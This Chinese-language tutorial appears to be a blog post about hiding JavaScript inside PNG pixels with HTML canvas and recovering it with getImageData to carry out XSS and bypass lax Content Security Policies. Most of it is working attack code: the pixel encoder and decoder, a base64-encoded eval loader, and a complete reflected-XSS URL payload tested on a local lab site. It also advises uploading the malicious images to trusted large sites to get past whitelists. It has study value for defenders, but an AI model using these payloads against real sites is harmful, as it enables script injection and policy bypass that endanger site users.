利用Png做持久型XSS攻击
原理
使用HTML Canvas
可以将任何JavaScript
代码或整个库隐藏到一个PNG
图片中,方法是将每个源代码字符转换为一个像素。然后,可以将图片上传到受信任的网站(如腾讯阿里系网站)(通常由CSP
列入白名单)最后将其作为远程图片加载到HTML
文档中。最后,通过使用canvas getImageData
方法,可以从图片中提取“隐藏的JavaScript
并执行它。有时这可能会导致绕过内容安全策略,使攻击者能够获取整个外部JavaScript
库。
canvas
元素标签强大之处在于可以直接在HTML
上进行图形操作,具有极大的应用价值。canvas
可以实现对图像的像素操作,这就要说到 getImageData()
方法了。 ImageData
对象用来描述 canvas
区域隐含的像素数据,奇热这个区域通过矩形表示,起始点为(sx, sy)
、宽为sw
、高为sh
。
canvas getImageData() 方法的定义和用法
getImageData()
方法返回 ImageData
对象,该对象拷贝了画布指定矩形的像素数据。
对于 ImageData
对象中的每个像素,都存在着四方面的信息,即 RGBA 值:
R - 红色 (0-255);
G - 绿色 (0-255);
B - 蓝色 (0-255);
A - alpha 通道 (0-255; 0 是透明的,255 是完全可见的);
color/alpha
以数组形式存在,并存储于 ImageData
对象的 data
属性中。
注意在操作完成数组中的 color/alpha
信息之后,你可以使用 putImageData()
方法将图像数据复制到画布上。
由于Content-Security-Policy
响应头在防止XSS
、clickjacking
和其他代码注入攻击方面的效率,它被越来越多地使用。然而,许多网站配置laxy
策略来避免误报和白名单整个域,而不是特定的资源,或使用不安全的内联或不安全的eval
指令,这可能导致策略绕过。
canvas
的相关知识可以查看 学习 HTML5 Canvas 这一篇文章就够了
如果有条件的话,可以阅读Mike Parsons的一篇文章,他在这篇文章中详细展示了如何使用HTML Canvas
将JavaScript
代码“存储”到一个PNG
图片中。
Canvas 2D API
的CanvasRenderingContext2D.putImageData()
方法将给定ImageData
对象中的数据绘制到画布上。如果提供了脏矩形(dirty rectangle )
,则仅绘制该矩形中的像素,此方法不受画布转换矩阵的影响。
Canvas 2D API
的CanvasRenderingContext2D
方法getImageData()
返回一个ImageData
对象,该对象表示画布的指定部分的基础像素数据。此方法不受画布转换矩阵的影响,如果指定的矩形延伸到画布的边界之外,则画布外的像素在返回的ImageData
对象中为透明的黑色。
原理演示
生成png图片
打开谷歌浏览器,在搜索栏输入 about:blank
,回车跳转,然后打开JavaScript
控制台。粘贴以下代码到控制台后回车。
// 如何将文本字符串“存储”到图片中
(function () {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
效果如下:
上面的代码使用putImageData
方法创建一个图片,该方法将“Hello, World!”字符串的每组3个字符表示为每个像素的RGB级别(红色、绿色和蓝色)。在浏览器的控制台中运行后,你会在左上角看到一个小图片。
我们右键小图片,可以另存为本地作为恶意攻击图片。
上图的每个像素代表“隐藏字符串”的3
个字符。使用charCodeAt
函数,我可以将每个字符转换为0
到65535
之间的整数,代表其UTF-16
代码单元。在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道。第四个值是在我们的示例中始终为255
的alpha
级别。如下所示:
r = “H”.charCodeAt(0)
g = “e”.charCodeAt(0)
b = “l”.charCodeAt(0)
a = 255
j.data = [r,g,b,a,…]
在以下架构中,我尝试更好地解释如何将字符串的字符分配到ImageData数组中:
png 图片还原内容
现在我们有了一个表示“Hello, World!”字符串的PNG图片。复制以下代码,粘贴在刚才的js
控制台上,并回车运行,以将生成的PNG图片转换为原始文本字符串:
// 如何将该图片转换回其原始字符串
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML = a;
JavaScript
代码选择刚刚创建的图片元素,并使用getImageData
将其转换为原始文本字符串。使用getImageData
时,会发生这样的情况:你将获得一个ImageData
对象,该对象的data
属性包含一个大数组。如前所示,ImageData
数组中每个像素都有四个元素:r
、g
、b
和alpha
。因此,该数组看起来像[pixel1R
,pixel1G
,pixel1B
,pixel1Alpha
,…,pixelNR
,pixelNG
,pixelNB
,pixelNAlpha
]。
理论依据
现在我们知道了如何将文本字符串“存储”到图片中,以及如何将该图片转换回其原始字符串。现在假设隐藏JavaScript
代码而不是简单的文本字符串,然后将生成的PNG图片上传到大型网站中。可以绕过内容安全性策略,即绕过大型网站的白名单图片,并可以利用XSS
从“受信任的”来源加载JavaScript
内容。
实现
部署测试网站
假设某网站有个搜索框,代码如下:
// http://dev.host.net/png.php
<?php
header("Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self' http://dev.pikachu.net");
?>
<html>
<body>
<input id="kw" name="wd" class="s_ipt" value="<?php echo $_GET["wd"] ?>" maxlength="255" autocomplete="off">
</body>
</html>
该应用程序使用了一个Content-Security-Policy
,该策略允许来自“self”和http://dev.pikachu.net
(本地址是我本地搭建的,用于代替大型网站)的图片,并允许来自“self”、“inline”和“eval”的JavaScript
。不幸的是,有许多网站配置了script-src
指令,允许unsafe-inline
和unsafe-eval
来避免误报。而且,许多网站将整个域列入白名单,而不是将特定资源列入白名单。
该漏洞位于wd querystring
参数上,该参数不能清除导致HTML
注入和Reflected XSS
的用户输入。要利用此测试Web
应用程序上的XSS
漏洞,我需要注入HTML
语法以关闭src
属性并添加SCRIPT
标签,然后注入JavaScript
代码。
我们可以假设构造参数模拟攻击,然后根据构造的结果去推测参数形式,根据http://dev.host.net/png.php
的现有代码,我们构造如下代码。
<?php
// ...
<html>
<body>
<input id="kw" name="wd" class="s_ipt" value="1"> <img src="xxx" id="jsimg" onload="" />
<a href="" maxlength="255" autocomplete="off">
</body>
</html>
可以看出,我们输入的wd
参数是
1"> <img src="xxx" id="jsimg" onload="" />
<a href="
注释:
- xxx 是恶意PNG图片的大型网站 URL;
- id 是注入的id属性;
- onload 是要触发的事件;
- a href= 是一个A标签,仅用于防止破坏HTML语法;
所以,wd
的值需构造为:
png.php?wd=1"> <img src="xxx" id="jsimg" onload="" />
<a href="
实现方式
根据以上构造及理论,我们恶意PNG
图片文件中隐藏JavaScript
代码,再用onload
注入的js
代码,还原恶意PNG
图片文件里面的内容,就可以实现xss
攻击了。
恶意PNG图片
我们把代码中的Hello, World!
换成我们的js脚本代码,如:alert(document.domain)
,运行后另存为本地,并命名为png.png
.
把png.png
文件上传到大型网站,
注意:这个传图的站点要支持跨域。
判断方式,访问上传的图片,查看响应头是否有Access-Control-Allow-Origin: *
,如下图:
作为演示,大型网站用我自己搭建的网站代替,上传后我的图片访问地址是http://dev.pikachu.net/vul/unsafeupload/uploads/png.png
,
onload的js代码
可以利用img
标签的onload="javascript:eval()
去触发事件,window.btoa
用于编码base64,而atob
用于解码base64,可以把我们图片还原代码先编码,注入onload时解码来执行js代码,所以我们构造onload="javascript:eval(atob("加密的js代码"))"
进行攻击。
现在,我需要注入几行JavaScript
代码把图片转换成一个外部的JavaScript
库并绕过CSP
:
// 加密的js代码
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)
用函数window.btoa
加密成base64形式:
var str = 't = document.getElementById("jsimg");var s = String.fromCharCode, c = document.createElement("canvas");var cs = c.style,cx = c.getContext("2d"),w = t.offsetWidth,h = t.offsetHeight;c.width = w;c.height = h;cs.width = w + "px";cs.height = h + "px";cx.drawImage(t, 0, 0);var x = cx.getImageData(0, 0, w, h).data;var a = "",l = x.length,p = -1;for (var i = 0; i < l; i += 4) {if (x[i + 0]) a += s(x[i + 0]);if (x[i + 1]) a += s(x[i + 1]);if (x[i + 2]) a += s(x[i + 2]);}eval(a)';
var res = window.btoa(str);
console.log(res);
得到如下结果:
dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpO3ZhciBzID0gU3RyaW5nLmZyb21DaGFyQ29kZSwgYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpO3ZhciBjcyA9IGMuc3R5bGUsY3ggPSBjLmdldENvbnRleHQoIjJkIiksdyA9IHQub2Zmc2V0V2lkdGgsaCA9IHQub2Zmc2V0SGVpZ2h0O2Mud2lkdGggPSB3O2MuaGVpZ2h0ID0gaDtjcy53aWR0aCA9IHcgKyAicHgiO2NzLmhlaWdodCA9IGggKyAicHgiO2N4LmRyYXdJbWFnZSh0LCAwLCAwKTt2YXIgeCA9IGN4LmdldEltYWdlRGF0YSgwLCAwLCB3LCBoKS5kYXRhO3ZhciBhID0gIiIsbCA9IHgubGVuZ3RoLHAgPSAtMTtmb3IgKHZhciBpID0gMDsgaSA8IGw7IGkgKz0gNCkge2lmICh4W2kgKyAwXSkgYSArPSBzKHhbaSArIDBdKTtpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7aWYgKHhbaSArIDJdKSBhICs9IHMoeFtpICsgMl0pO31ldmFsKGEp
由上面的拼接可得,最终的wd
参数为:
wd=1"> <img src="http://dev.pikachu.net/vul/unsafeupload/uploads/png.png" id="jsimg" onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpO3ZhciBzID0gU3RyaW5nLmZyb21DaGFyQ29kZSwgYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpO3ZhciBjcyA9IGMuc3R5bGUsY3ggPSBjLmdldENvbnRleHQoIjJkIiksdyA9IHQub2Zmc2V0V2lkdGgsaCA9IHQub2Zmc2V0SGVpZ2h0O2Mud2lkdGggPSB3O2MuaGVpZ2h0ID0gaDtjcy53aWR0aCA9IHcgKyAicHgiO2NzLmhlaWdodCA9IGggKyAicHgiO2N4LmRyYXdJbWFnZSh0LCAwLCAwKTt2YXIgeCA9IGN4LmdldEltYWdlRGF0YSgwLCAwLCB3LCBoKS5kYXRhO3ZhciBhID0gIiIsbCA9IHgubGVuZ3RoLHAgPSAtMTtmb3IgKHZhciBpID0gMDsgaSA8IGw7IGkgKz0gNCkge2lmICh4W2kgKyAwXSkgYSArPSBzKHhbaSArIDBdKTtpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7aWYgKHhbaSArIDJdKSBhICs9IHMoeFtpICsgMl0pO31ldmFsKGEp"))' /><a href="
访问http://dev.host.net/png.php?wd=参数
:
跨域问题
如果出现如下报错:
Uncaught DOMException: Failed to execute ‘getImageData’ on ‘CanvasRenderingContext2D’: The canvas has been tainted by cross-origin data.
通过阅读文档,我的浏览器似乎故意在跨源加载图片时阻塞getImageData
之类的方法。似乎我只需要注入crossorigin
属性:
HTML为图片提供了跨域属性,该图片与适当的CORS标头结合使用,允许元素定义的从外部来源加载的图片在< img >元素定义的图像在< canvas >中使用,就好像它们是从当前源加载的一样。
由于画布位图中的像素可能来自多种来源,包括从其他主机检索到的图片或视频,因此不可避免地会出现安全问题。一旦将任何未经CORS批准从其他来源加载的数据绘制到画布中,画布就会被污染。被污染的画布不再被认为是安全的,任何从画布中检索图片数据的尝试都会导致引发异常。如果外部内容的来源是HTML < img >或SVG< svg > 元素,则不允许尝试检索画布的内容。
我们在刚才的参数中增加一个属性crossOrigin="anonymous"
,最终访问地址如下:
http://dev.host.net/png.php?wd=1"> <img src="http://dev.pikachu.net/vul/unsafeupload/uploads/png.png" crossOrigin="anonymous" id="jsimg" onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpO3ZhciBzID0gU3RyaW5nLmZyb21DaGFyQ29kZSwgYyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImNhbnZhcyIpO3ZhciBjcyA9IGMuc3R5bGUsY3ggPSBjLmdldENvbnRleHQoIjJkIiksdyA9IHQub2Zmc2V0V2lkdGgsaCA9IHQub2Zmc2V0SGVpZ2h0O2Mud2lkdGggPSB3O2MuaGVpZ2h0ID0gaDtjcy53aWR0aCA9IHcgKyAicHgiO2NzLmhlaWdodCA9IGggKyAicHgiO2N4LmRyYXdJbWFnZSh0LCAwLCAwKTt2YXIgeCA9IGN4LmdldEltYWdlRGF0YSgwLCAwLCB3LCBoKS5kYXRhO3ZhciBhID0gIiIsbCA9IHgubGVuZ3RoLHAgPSAtMTtmb3IgKHZhciBpID0gMDsgaSA8IGw7IGkgKz0gNCkge2lmICh4W2kgKyAwXSkgYSArPSBzKHhbaSArIDBdKTtpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7aWYgKHhbaSArIDJdKSBhICs9IHMoeFtpICsgMl0pO31ldmFsKGEp"))' /><a href="
这里还要注意一个点是,恶意PNG图片要允许跨域Access-Control-Allow-Origin:*
,我在本地nginx做了相应的处理,单独访问图片可以观察到Access-Control-Allow-Origin:*
: